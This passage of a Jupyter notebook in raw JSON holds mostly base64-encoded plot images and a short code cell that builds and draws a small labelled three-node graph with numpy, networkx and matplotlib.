ZhsJ8UgpdcldHP5Tj2+f1iACA\n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\nsPgAAAAASUVORK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x115329790>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "A = np.array([[0,1,1],[0,0,1],[1,0,0]])\n", "G = nx.Graph(A)\n", "\n", "labels = {0: \"a\", 1:\"b\", 2:\"c\"}\n", "pos = [(0,0),(3,1),(1,0)]\n", "plt.figure(figsize=(12,2.5))\n", "nx.draw(G, pos, cmap='jet', edge_color=[0.1,0.7,0.9], node_color=\"white\", node_size=500, labels=labels, font_size=10, arrows=True)\n", "#nx.draw(G, pos, node_color=\"white\", node_size=500, arrows=False)\n", "#nx.draw_graphviz(G,node_size=500, labels=labels, font_size=24, arrows=True)\n", "plt.show()\n", "\n", "#nx.draw_networkx()" ] }, { "cell_type": "code", "execution_count": 5, "metadata": {}, "outputs": [ { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAc8AAAHSCAYAAACKMEBuAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzt3U9sHOd9//HvWNOFtIfR5AfHlSg4QI2iaS5UURTwUgLa\nWgrQsj0EkVoSy9ioDKMF6CBk7FNEpO0SKXTowQog10TctdOiPfSwWrrtyS3aXCTxUkAQD1oZDrBy\nAA21OlECtAnItb+/g7KK/vB5xFnO7Mwz834BusjkPMOPVnpTG2XXU1UVAACwa89lfQMAALiGeAIA\nEBPxBAAgJuIJAEBMxBMAgJiIJwAAMRFPAABiIp4AAMREPAEAiIl4AgAQE/EEACAm4gkAQEzEEwCA\nmIgnAAAxEU8AAGIingAAxEQ8AQCIiXgCABAT8QQAICbiCQBATMQTAICYiCcAADERTwAAYiKeAADE\nRDwBAIiJeAIAEBPxBAAgJuIJAEBMxBMAgJiIJwAAMRFPAABiIp4AAMTkZ30DaRkMBnLt2jVZW1uT\nKIrkF7/4hezfv18mJiZkampKjh49Kr5f2C/fim3s2MeMbezYx6xw22jBdDodXVhY0DAMVURURNT3\nfQ2CQH3ff/hzYRjqwsKCdjqdrG95bNjGjn3M2MaOfcyKuk1h4hlFkc7MzKiIaKVS0bm5OW21Wrqx\nsfHYx21sbGir1dJ6va6VSkVFRGdmZjSKoozuPH1sY8c+Zmxjxz5mRd+mEPFst9saBIFWq1VdXl7W\nXq+3q8/r9Xq6vLys1WpVgyDQ1dXVlO90/NjGjn3M2MaOfczKsI3z8Ww2m+p5ntZqNe12uyNdo9vt\naq1WU8/ztNlsJnuDGWIbO/YxYxs79jEryzZOx7PdbqvneTo9Pa39fn9P1+r3+zo9Pa2e52m73U7o\nDrPDNnbsY8Y2duxjVqZtnI3nrVu3NAgCrdVqe/5FGur3+1qr1TQIgtw/327DNnbsY8Y2duxjVrZt\nnI3nzMyMVqtVvXnzZqLX7Xa7Wq1WdXZ2NtHrjhPb2LGPGdvYsY9Z2bZxMp7Xr19XEdHl5eVUrt9o\nNFREnPkn049iGzv2MWMbO/YxK+M2TsZzYWFBK5WK3rlzJ5Xr93o9rVQquri4mMr108Q2duxjxjZ2\n7GNWxm2ci+f29raGYahzc3OpnlOv1zUMQ93e3k71nCSxjR37mLGNHfuYlXUb517b9tq1a7K5uSmn\n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\nHrh27Zpsbm7KqVOnUj3n9OnTsrm5Kevr66mekyS2sWMfM7axYx+zsm7jXDzX1tZEROT48eOpnnPs\n2LHHznMB29ixjxnb2LGPWVm3cS6eURSJ7/ty6NChVM85fPiw+L4vURSlek6S2MaOfczYxo59zMq6\njaeqmvVNxPH222/LBx98IHfv3k39rIMHD8q9e/dSPydJQRCwjQX7mLGNHfuYjXObN954Q955553U\nz3oW5/7muX//fun3+2M5q9/vy9LSkuiDf1iV+x9nz55lG/ZhG/Yp9DYHDhwYy1nP4lw8JyYmZDAY\nyO3bt1M9Z2NjQwaDgUxMTKR6TpLYxo59zNjGjn3MyrqNc/GcmpoSEZHLly+nes6VK1ceO88FbGPH\nPmZsY8c+ZmXdxrl4Hj16VMIwlHa7neo5Fy9elDAMZXJyMtVzksQ2duxjxjZ27GNW2m3UQWV8NYvd\nYhs79jFjGzv2MSvjNs79zVNEZH5+Xra2tmRlZSWV66+srMjW1pbMz8+ncv00sY0d+5ixjR37mJVy\nm6zrParhK/iP+marJnl9Bf842MaOfczYxo59zMq2jbPxjKKoVO8dFwfb2LGPGdvYsY9Z2bZxNp6q\n6b1r+erqakJ3mB22sWMfM7axYx+zMm3jdDxVVZvNpnqep7VabeSnC7rdrtZqNfU8T5vNZrI3mCG2\nsWMfs6S3+dKXvqTvv/9+sjeZIR47ZmXZxvl4qj74bicIAq1Wq9poNLTX6+3q83q9njYaDa1WqxoE\nQS6/u9krtrFjH7Mkt/n000/1xRdfLFRAeeyYlWGbQsRT9cHz7bOzsyoiWqlUtF6va6vVeup58iiK\ntNVqab1e10qloiKis7OzuXs+PUlsY8c+ZkluU8SA8tgxK/o2hYnnUKfT0cXFRQ3DUEVERUR939cg\nCNT3/Yc/F4ahLi4uaqfTyfqWx4Zt7NjHLKltihhQVR47NkXdxrl3VdmtwWAg6+vrsra2JlEUyblz\n52RpaUkmJiZkampKJicnxff9rG8zE09u8/Of/1wOHDjANr/EY8csiW1++tOfyokTJ+Sv//qv5S//\n8i/HdOfjwWPHrGjbFDaeT/I8T0rypSJhPHbMRt2myAF9FI8dM9e3cSfzAArjN3/zN+V///d/5cSJ\nEyIihQ4oiol4AsgEAYXLiCeAzBBQuIp4AsgUAYWLiCeAzBFQuIZ4AsgFAgqXEE8AuUFA4QriCSBX\nCChcQDwB5A4BRd4RTwC5RECRZ8QTQG4RUOQV8QSQawQUeUQ8AeQeAUXeEE8ATiCgyBPiCcAZBBR5\nQTwBOIWAIg+IJwDnEFBkjXgCcBIBRZaIJwBnEVBkhXgCcBoBRRaIJwDnEVCMG/EEUAgEFONEPAEU\nBgHFuBBPAIVCQDEOxBNA4RBQpI14AigkAoo0EU8AhUVAkRbiCaDQCCjSQDwBFB4BRdKIJ4BSIKBI\nEvEEUBoEFEkhngBKhYAiCcQTQOkQUOwV8QRQSgQUe0E8AZQWAcWoiCeAUiOgGAXxBFB6BBRxEU8A\nEAKKeIgnAPwSAcVuEU8AeAQBxW4QTwB4AgHFsxBPANgBAYVNYeM5GAzk2rVrsra2JlEUiYjI0tKS\nTExMyNTUlBw9elR8v7BfvtWT2/ziF7+Q/fv3s80v8dgxK9s2cQNatn3iKNw2WjCdTkcXFhY0DEMV\nERUR9X1fgyBQ3/cf/lwYhrqwsKCdTifrWx4btrFjH7Oyb/Ppp5/qiy++qO+///6O/73s+9gUdZvC\nxDOKIp2ZmVER0UqlonNzc9pqtXRjY+Oxj9vY2NBWq6X1el0rlYqKiM7MzGgURRndefrYxo59zNjm\nV3YKKPuYFX2bQsSz3W5rEARarVZ1eXlZe73erj6v1+vp8vKyVqtVDYJAV1dXU77T8WMbO/YxY5un\nPRpQ9jErwzbOx7PZbKrneVqr1bTb7Y50jW63q7VaTT3P02azmewNZoht7NjHjG3MPv30U/3Sl77E\nPgZleew4Hc92u62e5+n09LT2+/09Xavf7+v09LR6nqftdjuhO8wO29ixjxnb2LGPWZm2cTaet27d\n0iAItFar7fkXaajf72utVtMgCHL/fLsN29ixjxnb2LGPWdm2cTaeMzMzWq1W9ebNm4let9vtarVa\n1dnZ2USvO05sY8c+Zmxjxz5mZdvGyXhev35dRUSXl5dTuX6j0VARceafTD+KbezYx4xt7NjHrIzb\nOBnPhYUFrVQqeufOnVSu3+v1tFKp6OLiYirXTxPb2LGPGdvYsY9ZGbdxLp7b29sahqHOzc2lek69\nXtcwDHV7ezvVc5LENnbsY8Y2duxjVtZtnkv+NYvSde3aNdnc3JRTp06les7p06dlc3NT1tfXUz0n\nSWxjxz5mbGPHPmZl3ca5eK6trYmIyPHjx1M959ixY4+d5wK2sWMfM7axYx+zsm7j